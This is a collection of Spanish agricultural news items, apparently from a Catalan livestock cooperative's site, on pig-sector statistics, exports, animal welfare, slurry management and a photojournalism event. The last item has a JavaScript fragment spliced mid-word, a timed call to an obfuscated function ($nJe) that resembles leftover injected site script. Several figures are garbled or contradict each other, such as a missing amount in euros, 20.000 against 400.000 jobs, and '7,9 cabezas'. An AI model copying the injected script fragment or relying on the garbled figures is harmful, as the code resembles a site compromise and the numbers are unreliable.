La FCAC consigue la creación de un grupo de trabajo para abordar los nuevos retos en bienestar animal

La Federación de Cooperativas Agrarias de Cataluña (FCAC) ha mantenido una reunión de trabajo bilateral, en la 67ª Feria Agraria de Sant Miquel en Lleida, con Elisenda Guillaumes, directora general de Agricultura y Ganadería, y otros miembros de su equipo.

Durante la reunión se ha conseguido el compromiso oficial para la creación de un grupo de trabajo específico para trasladar las inquietudes del sector ganadero y abordar los nuevos retos en bienestar animal. Valoramos muy positivamente la creación de este grupo y emplazamos a la Administración a no detenerse y conseguir más recursos técnicos y económicos para los próximos años.

Este grupo de trabajo, que se reunirá al menos de manera trimestral, consistirá en analizar juntos profesionales del sector y Administración las acciones de la estrategia Farm to fork de la Unión Europea como: la iniciativa ciudadana sobre el fin de las jaulas, el bienestar animal, la reducción de antibióticos, la gestión de las deyecciones ganaderas, la transmisión de enfermedades a las explotaciones, entre otros, para poder ser más competitivos y avanzar a los nuevos retos.

Fuente de información: Federació de Cooperatives Agràries de Catalunya (FCAC)

El sector porcino de capa blanca muestra su liderazgo reconociendo el valor de sus profesionales

  • Con un peso del 9,5% del PIB industrial, genera más de 400.000 empleos estables y de calidad en nuestro país, de los que un 35% está ubicado en el medio rural.
  • El consumo de carne de porcino de capa blanca ha aumentado más de un 7,5% en el año 2020.
  • Interporc ilustra con la nueva marca y campaña sus valores y aportaciones e  incide en los pilares de futuro del sector: apostar por una producción sostenible, convertirse en motor económico y de fomento del medio rural, además de ofrecer un producto saludable y lleno de  sabor.

Interporc, la Organización Interprofesional Agroalimentaria del Porcino de Capa Blanca, emprende campaña y lanza una nueva identidad corporativa que gira en torno a los valores que han llevado al sector porcino español a convertirse en un referente en la “ganadería moderna”, profesionalizada, innovadora, respetuosa con la sensibilidad y las necesidades de los animales y enfocada al respeto al medioambiente. Esta campaña informativa refuerza las cifras positivas de un sector que ha experimentado un continuo crecimiento en los últimos años, convirtiéndose en una actividad estratégica para la economía española. Con una de  18 millones de euros en 2020 representa más del 42,6% de la Producción Final Ganadera y el 16,3% de la Producción Final Agraria, suponiendo actualmente el 9,5% del PIB Industrial.

Los números respaldan el gran potencial del sector que, con 86.547 granjas, 2.630 industrias cárnicas de porcino y más de 4,8 millones de toneladas producidas al año, sitúan a España como el primer productor de la Unión Europea y el cuarto mayor del mundo. Por su parte, el consumo total de carnes y elaborados del porcino durante 2020 creció tanto en volumen (+7,5%) como en valor (+13,8%).

“Dentro de las producciones ganaderas, el sector porcino de capa blanca ocupa el primer lugar en cuánto a importancia económica, volumen de producción y volumen de exportación”, comenta Alberto Herranz, Director de Interporc. “Durante los últimos años el sector ha crecido tanto en producción, como en censos y en número de explotaciones, gracias al empuje de los mercados exteriores”.

La relevancia que ha tomado este sector se debe fundamentalmente a las exportaciones donde España juega un papel preponderante a nivel europeo, convirtiéndose en líder mundial en cuanto a su capacidad de exportación. Según datos de Interporc, el valor de las exportaciones ha alcanzado los 7.600 millones de euros y España se ha posicionado como el segundo mayor exportador mundial de porcino, por detrás de EE.UU. y por delante de países como Alemania, Dinamarca, Canadá, Países Bajos, Brasil o China.

El sector porcino de capa blanca, un referente en generación de empleo

El sector porcino de capa blanca está implantado en más del 40% de los municipios rurales donde genera por encima de los 20.000 empleos estables y de calidad (35%), no solo en industrias, sino también en granjas y empresas auxiliares, ofreciendo oportunidades laborales que evitan la despoblación de miles de pueblos de nuestro país. En concreto seis de cada diez empleos generados por el sector se encuentran en la “España Rural”, es decir, en municipios con menos de 5.000 habitantes.

Con respecto al empleo femenino, 65.000 mujeres trabajan en el sector porcino español. Además, más de 30.000 llevan a cabo su actividad en pequeños municipios como los mencionados, dotando de vida y dinamismo a los pueblos de la “España vaciada”.

Un modelo de producción basado en la sostenibilidad

El sector porcino de capa blanca español apuesta por la sostenibilidad social y ambiental con un decidido respeto hacia el medio ambiente.

Según datos del último informe de Inventario Nacional Gases de Efecto Invernadero, durante el periodo 2005-2020 el sector ha reducido en un 41,2% sus emisiones de Gases de Efecto Invernadero derivadas de los sistemas de gestión de estiércoles de ganado porcino. Solamente en el último año, se ha reducido en más de un 4% sus emisiones GEI por kilo de carne producido, constituyendo el peso del sector porcino sobre el conjunto de las emisiones GEI nacionales solo el 1,9%.

Bienestar animal, una garantía para el consumidor

El sello de certificación “Compromiso Bienestar Certificado” (IAWS), impulsado por Interporc, avala las buenas prácticas llevadas a cabo en materia de bienestar animal, sanidad, bioseguridad, manejo de los animales y trazabilidad en todos los eslabones de la cadena de valor del porcino de capa blanca en España.

Desde su creación, en 2019, Interporc ha certificado 76 granjas, 23 centros de sacrificio y 42 industrias cárnicas. En 2020ha habido un incremento de un 94% en granjas, un 53% de centros de sacrificio y un 121% en industrias respecto a los operadores que estaban certificados al comenzar dicho periodo.

Nueva imagen y nueva campaña del sector: “Saborea lo nuestro”

Con este inspirador eslogan, Interporc ha lanzado su nueva imagen de marca y ha puesto en marcha  una campaña de publicidad en televisión, radio y medios digitales y escritos.

A través de ella traslada los valores y compromisos que hay detrás del sector porcino de capa blanca, además de resaltar su relevancia tanto desde el punto de vista económico como social.

La campaña está grabada en escenarios originales y protagonizada por personas reales representativas de la totalidad de la cadena de valor: ganaderos, personal de las industrias, transportistas o vendedores. Rinde así un homenaje a todos aquellos que hacen posible con su trabajo diario un sabor muy nuestro. La campaña, firmada por RK People, añade una canción, “Sabor, sabor” que está disponible en todos los canales sociales de Interporc y Spotify.

Fuente de información: Interporc

La Generalitat controla ya donde vierten el purín 190 cubas equipas con GPS en Lleida

Son más de la mitad de las que tienen geolocalización en Catalunya. Es obligatorio para transportarlo a más de 10 kilómetros, para asegurar una aplicación correcta en cultivos y evitar vertidos ilegales.

Noticia publicada en el Diari Segre por R. Ramírez el domingo, 26 de septiembre de 2021

Diari Segre-noticia aplicación purines con cisternas equipadas con GPS

Juneda, capital del fotoperiodismo durante todo el pasado fin de semana

El complejo cultural de Juneda y la Mas Miravall han sido los puntos de celebración de estas jornadas «Miravisions» dedicadas al fotoperiodismo en Cataluña, organizadas por el magacín digital La Mira

La inauguración, el viernes 24, de las exposiciones fotográficas de Pilar Aymerich, fotografías de una época retratos con nombre propio, Cataluña Año 0-Veure el Virus, de Jordi Borràs y la exposición de los trabajos galardonados en los premios Miravisions, pusieron el punto de salida de estas jornadas dedicadas al fotoperiodismo.

La jornada del sábado, inaugurada por la periodista Mònica Terribas, contó con un completo programa de actos lleno de enriquecedoras charlas y mesas redondas en torno a la actividad de los fotoperiodistas. Uno de los actos principales de esta segunda jornada, llevada a cabo en Mas Miravall, fue la celebración de la gala de entrega de los premios Miravisions de Fotoperiodismo, creados para reconocer los mejores trabajos fotoperiodísticos de 2020 con el objetivo de reivindicar la imagen como elemento esencial para contar historias de interés periodístico.

Fotografías de La Mira

 

Jordi Armengol y Mónica Jiménez representaron a nuestra cooperativa en el acto de entrega de los Primeros premios Miravisions de fotoperiodismo, que han contado, entre otros, con la colaboración de GAP Cooperativa.

El taller de fotografía con dron a cargo de Carles Rabadà puso el domingo el punto y final a estas jornadas que han sido todo un éxito organizativo y de participación. Tres intensos días de trabajo compartido, contactos, debates e interesantes charlas alrededor del fotoperiodismo.

Las tres exposiciones fotográficas inauguradas el Complejo Cultural de Juneda, con motivo de estas jornadas se podrán visitar hasta el próximo 28 de noviembre.

 

 

Publicados los requisitos de bioseguridad y tramitación para los separadores móviles de fracción líquida y sólida de los purines porcinos

El objetivo es definir los requisitos que deben cumplir las explotaciones porcinas que deseen utilizar este sistema de tratamiento, que debe estar adecuadamente recogido en el plan de gestión de deyecciones ganaderas y, sobre todo, debe utilizarse con las máximas condiciones de bioseguridad.

 

El DACC ha publicado el documento de Utilización del sistema de separador móvil de fracción líquida y sólida de los purines en explotaciones porcinas: requisitos de bioseguridad y tramitación. Se trata de un documento que describe las condiciones mínimas de bioseguridad y estructurales que deben cumplir las explotaciones porcinas que quieran utilizar los separadores móviles de fracción líquida y sólida de los purines porcinos, al tiempo que indica cuál es el trámite administrativo por parte de los agentes implicados.

 

El separador sólido-líquido móvil es un aparato que se puede enganchar a varios vehículos tipo coches y tractores o estar instalado en la caja de un camión. Su función es separar el purín, en una fracción sólida (FS) y una fracción líquida (FL). El proceso de separación S-L permite una redistribución de los nutrientes, facilitando su gestión final. La FS se caracteriza por una concentración más elevada en aquellos componentes asociados a la fracción articulada, como la materia orgánica (MO) no soluble, el nitrógeno (N) orgánico y el fósforo (P), entre otros. En cambio, la FL se caracteriza por ser menos rica en algunos nutrientes. La parte líquida se almacenará en una balsa final y la fracción sólida en un estercolero impermeable con recogida de lixiviados (para la FS) y / o unos contenedores que habiliten el transporte y tara posterior.

 

Ante la creciente necesidad de aplicar sistemas de tratamiento en las granjas porcinas y dado que el tamaño de algunas de ellas hace muy difícil su optimización económica, se plantea la necesidad de utilización de este tipo de separadores móviles. Para que esto sea posible es necesario, por un lado, que estén adecuadamente recogidos en los planes de gestión de deyecciones ganaderas y, sobre todo, que esta utilización se haga con las máximas condiciones de bioseguridad.

 

Fuente: DACC

La segunda edición de Miravisons, la jornada de fotoperiodismo en Cataluña, contará con la colaboración de GAP Cooperativa

Estas interesantes jornadas dedicadas al fotoperiodismo se llevarán a cabo los días 24, 25 y 26 de septiembre en Juneda. Miravisions se dirige tanto a los profesionales del fotoperiodismo como a los estudiantes y todas aquellas personas interesadas en el fotoperiodismo, con el objetivo de poner en valor, reconocer y hacer extensiva esta disciplina.

Miravisions son unas jornadas, impulsadas por los responsables del magacín digital La Mira, organizadas con el objetivo de mejorar la calidad del fotoperiodismo de la mano de fotógrafos expertos y profesionales del sector, así como hacer networking y compartir aprendizajes, experiencias y cuestiones que generan debates dentro de este mundo.

En el transcurso de estos tres días, se llevarán a cabo talleres, exposiciones, mesas redondas y se ofrecerán herramientas para que los participantes puedan desarrollar una mirada propia sobre las fotografías y para que el fotoperiodismo camine con más firmeza hacia la explicación de la realidad en un mundo digital y global.

El primer acto de esta segunda edición de Miravisions tendrá lugar el viernes 24 a las 19.00, con motivo de la inauguración de la exposición fotográfica de «Pilar Aymerich: fotografías de una época, retratos con nombre propio», a la que seguirán las inauguraciones de las exposiciones de los trabajos galardonados presentados al Premio Miravisions de Fotoperiodismo y «Cataluña año 0. Ver el virus» de Jordi Borràs. La periodista Mònica Terribas con Pilar Aymerich serán las protagonistas la sesión inaugural, que tendrá lugar el sábado 25 a las 11.30. Otro de los actos destacados del programa Miravisions será la entrega del I Premio Miravisions de Fotoperiodismo (sábado a las 19.00). Destacar también el taller de fotografía con dron, del domingo 26 de septiembre a cargo de Carles Rabadà, especialista en fotografía con dron.

Los puntos de referencia para la celebración de estas jornadas serán el Mas Miravall de Juneda, el complejo cultural de Juneda, que acogerá parte de las propuestas de la 2ª jornada Miravisions y la propia población de Juneda.

LA MIRA, origen de estas jornadas, es un magacín digital que mira, que cuenta historias de no-actualidad que pasan a nuestro alrededor, pero que no vemos. LA MIRA tiene contenidos, a fondo, sobre política, sociedad, cultura, economía. Miradas profundas alrededor de Cataluña. LA MIRA quiere situarse en lo que los anglosajones llaman non-fiction: un periodismo para leer, con historias trabajadas, penetrantes, intensas, con una mirada diferente. LA MIRA quiere ocupar este espacio de la no-ficción que, en Cataluña, está bastante huérfano.

Más información sobre La Mira clicando sobre este enlace

Programa jornadas Miravisions

Fotografía de portada: La Mira – Miravisions 2020

Fuente de información redacción artículo: Miravisions / La Mira, magazín digital

GAP Cooperativa, comprometidos con las personas y el desarrollo de nuestro territorio. Somos ganaderos y ganaderas raíces y motor de nuestras tierras.

 

 

La cabaña porcina se estabiliza en Cataluña en alrededor de 7,9 cabezas

El Departamento de Acción Climática ha publicado los datos provisionales del mes de mayo de 2021 del censo de ganado porcino. La población objeto de estudio de la encuesta son todas las explotaciones de porcino de producción y reproducción incluidas en el Sistema de información Ganadera de Cataluña (SIR) en noviembre de 2020 que figuraban en estado activo. En total, se han encuestado 794 explotaciones, que representa el 13,26% de las explotaciones porcinas de Cataluña.

En los primeros meses del año 2021, la cabaña porcina parece haberse estabilizado en torno a los con un total de 7.903.788 cabezas, con una pequeña disminución del 1% respecto del año anterior. El censo total de efectivos sigue siendo el más alto de las últimas campañas, y sobre todo el número de efectivos de cebo de más de 50 kg, que llega a 3.374.658 cabezas (42,7% del total de la cabaña porcina ) y que prácticamente tiene una tendencia 100% alcista semestre tras semestre. En segundo lugar figuran los lechones, con un total de 2.555.539 cabezas (32,3%), seguido de cerdos de 20 a 49 kg, con 1.353.806 cabezas (17,1%), cerdas reproductoras, 617.282 cabezas (7 , 8%) y, finalmente los machos, con 2.503 cabezas.

Por provincias, Lleida encabeza el número de cabezas, con 4.657.996 cabezas, que representa el 58,9% del total, seguida de Barcelona, ​​con 1.775.875 de cabezas (22,5%), Girona, con 941.030 cabezas (11 , 9%) y Tarragona, con 528.887 cabezas (6,7%).

Este es el informe destacado del último boletín de Novedades Estadísticas que edita semanalmente el DACC con el objetivo de difundir las estadísticas elaboradas por el Departamento que han tenido salida durante la semana y también recoge los documentos de carácter estadístico publicados por otros organismos y / o instituciones nacionales e internacionales.

Fuente: DACC

España, segundo pais exportador de porcino del mundo

En los últimos años, el sector porcino español ha ido afrontando con notable éxito los diferentes retos que, como sector líder en los ámbitos nacional e internacional, se le han ido presentando. Entre ellos, cabe destacar la adopción de un modelo de producción único en el mundo, que ha llevado al sector porcino español a la cabeza de los principales países exportadores a nivel mundial.

En concreto, al segundo puesto, con unas ventas que superaron en el año 2020 los 2,97 millones de toneladas. Un dato del que podemos estar muy satisfechos pero que cobra aún mayor importancia si hacemos una retrospectiva mayor, y es que la evolución del sector porcino en los últimos años ha sido espectacular. Si miramos por ejemplo a los últimos cinco años, desde el año 2016 hasta 2020 el sector ha incrementado sus exportaciones en un 47% en volumen y casi un 70% en valor, hasta los 7.629 millones de euros.

Es decir, que España vende más y mejores productos del porcino en el mundo, gracias a la apuesta por la calidad y variedad y a la adaptación de nuestras empresas a los gustos y tendencias de los consumidores, tanto españoles como del resto de países en los que está presente y en los que contribuye a hacer ‘marca España’.

Esa amplia diversificación de mercados a los que se dirigen nuestras exportaciones nos permite además no depender de las condiciones estratégicas de algunos países exportadores ni de las guerras comerciales o las restricciones a las exportaciones que se puedan dar coyunturalmente.

El sector porcino español trabaja en el largo plazo y nuestros datos demuestran que estamos muy preparados para no depender de un solo país y eso es en lo que seguiremos trabajando.

Por otra parte, el hecho de que nuestro país se haya posicionado como segundo mayor exportador es fruto de la confianza de los importadores y distribuidores de todo el mundo, que identifican nuestro sector con un fuerte compromiso con sus principales demandas, totalmente coincidentes con los pilares sobre los que se asienta nuestro modelo de producción: calidad, seguridad alimentaria, bienestar animal y cuidado del medio ambiente.

Las garantías de calidad y seguridad que aporta el sector porcino de capa blanca español es clave para ganar esa confianza de los países importadores, facilita la creación de nuevos socios comerciales y, por lo tanto, permite abrir nuevos mercados en los que vender productos. A todo ello han contribuido no sólo las importantes inversiones realizadas en los últimos años por el sector, sino también el alto grado de concienciación de todo el porcino español -ganaderos, transportistas, industria, detallistas, veterinarios…- y la sólida formación en estas materias en las que somos referentes de todos los profesionales implicados.

Hoy nuestros productos se venden en más de 130 países de todo el mundo -el 60,3% en mercados extracomunitarios-, lo que demuestra la enorme importancia que la exportación tiene para el conjunto del sector, que trabaja, desde el inicio de la cadena con una visión global pensando en las exigencias, tendencias, gustos y demandas de países de los cinco continentes, lo que nos hace más fuertes y competitivos.

Junto a ese trabajo, desde INTERPORC realizamos una importante labor para apoyar la internacionalización y ayudar a nuestras empresas a vender la carne y los elaborados del porcino en aquellos mercados que, por su volumen de importaciones y consumo, su valor añadido, su potencial futuro, o bien por su interés estratégico para determinados productos, suponen una oportunidad de negocio para el porcino español.

Para lograrlo, desarrollamos un amplio programa de más de 50 acciones de comunicación y promoción en más de una docena de países de especial interés para el sector porcino nacional, contribuyendo a difundir la calidad de la carne y elaborados del cerdo blanco español y a fomentar la ‘Marca España’.

El ambicioso Plan de Apoyo a la Internacionalización de INTERPORC cuenta también con acciones relativas a las relaciones institucionales, información de mercados y comercio exterior, prospección de nuevos mercados y oportunidades o apertura de mercados, colaborando con el Ministerio de Agricultura, Pesca y Alimentación en la organización y logística de visitas de inspección o con el ICEX España Exportaciones e Inversiones, organismo con el que desarrollamos campañas como la iniciada en 2019 en Japón, cuyo objetivo consiste en que profesionales, prensa y consumidores japoneses conozcan mejor los beneficios de consumir cerdo de capa blanca.

Asimismo, en Europa, estamos desarrollando junto a Francia y Portugal una campaña de promoción conjunta, en el marco de los Planes de Promoción UE Enjoy!  It’s from Europe.

El sector porcino de capa blanca español trabaja cada día para llevar alimentos sanos, seguros y de calidad a los ciudadanos y su mayor compromiso es alimentar de forma saludable a los consumidores de todo el mundo.

 

Fuente de información: Interporc

El Gobierno limita cuatro años más el crecimiento de las granjas en las zonas con mayor concentración de ganado

Se trata de 68 municipios con un gran número de explotaciones y con el agua contaminada por nitratos procedentes de los purines. Los municipios afectados en la demarcación de Lleida son Bellmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Vilanova de Bellpuig y Soses

El Gobierno de la Generalitat ha aprobado el Decreto ley que alarga durante cuatro años más la limitación de ampliar y de instalar nuevas granjas en las zonas de Cataluña con un gran número de explotaciones y aguas contaminadas por nitratos procedentes de los purines. En concreto se trata de 68 municipios con presencia excesiva de nitratos en las aguas de estas áreas.

El Departamento de Acción Climática, Alimentación y Agenda Rural persigue el objetivo de evitar el excedente de purines, es decir, que las granjas existentes puedan gestionar las deyecciones de una manera más eficiente y adopten sistemas de tratamiento y valoricen estos fertilizantes naturales sin que aumente la presión en la gestión por un incremento del número de animales que se crían en estas zonas.

En Cataluña, hay aproximadamente unos ocho millones de cerdos, 700.000 cabezas de vacuno y 38 millones de aves que generan cada año unos 17 millones de toneladas de purines y 4,4 millones de toneladas de estiércol y gallinaza.

Desde el año 1998, la Agencia Catalana del Agua analiza la evolución de la calidad del agua y los nitratos en las aguas subterráneas y superficiales mediante más de 500 puntos de control. La evolución de la contaminación no sólo no se ha resuelto, sino que ha empeorado progresivamente. Actualmente, un 40,3% de la superficie total de Cataluña está declarada vulnerable a la contaminación por nitratos de origen agrario, lo que afecta 465 municipios, es decir, un 49% de todos los municipios catalanes.

Los 68 municipios incluidos en la limitación que ha aprobado el Gobierno están por encima del 1,2 de Índice de Carga Ganadera, que se calcula de acuerdo con la producción total de kilogramos de nitrógeno que producen las reses en relación con la superficie agrícola municipal que debe absorber. En estos municipios, ya hay 105 explotaciones que disponen de algún sistema de tratamiento, lo que supone la gestión del 34% de los excedentes de purines. Aparte, el 50% de los excedentes, los tratan empresas especializadas en residuos. Actualmente, por lo tanto, todavía hay un 16% de excedente de nitrógeno procedente de los purines que se debe exportar (con las correspondientes emisiones de dióxido de carbono) para hacer una gestión correcta.

El Departamento de Acción Climática, Alimentación y Agenda Rural promueve la valorización de las deyecciones como recurso dentro de un esquema de bioeconomía circular basada en el fomento del compostaje y de la fertilización orgánica de excelencia, ajustada a las necesidades de los cultivos. Todo ello con una aplicación hecha con maquinaria adecuada y, incluso, cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando sea necesario, la exportación de los excedentes de nutrientes.

Fuente: DACC

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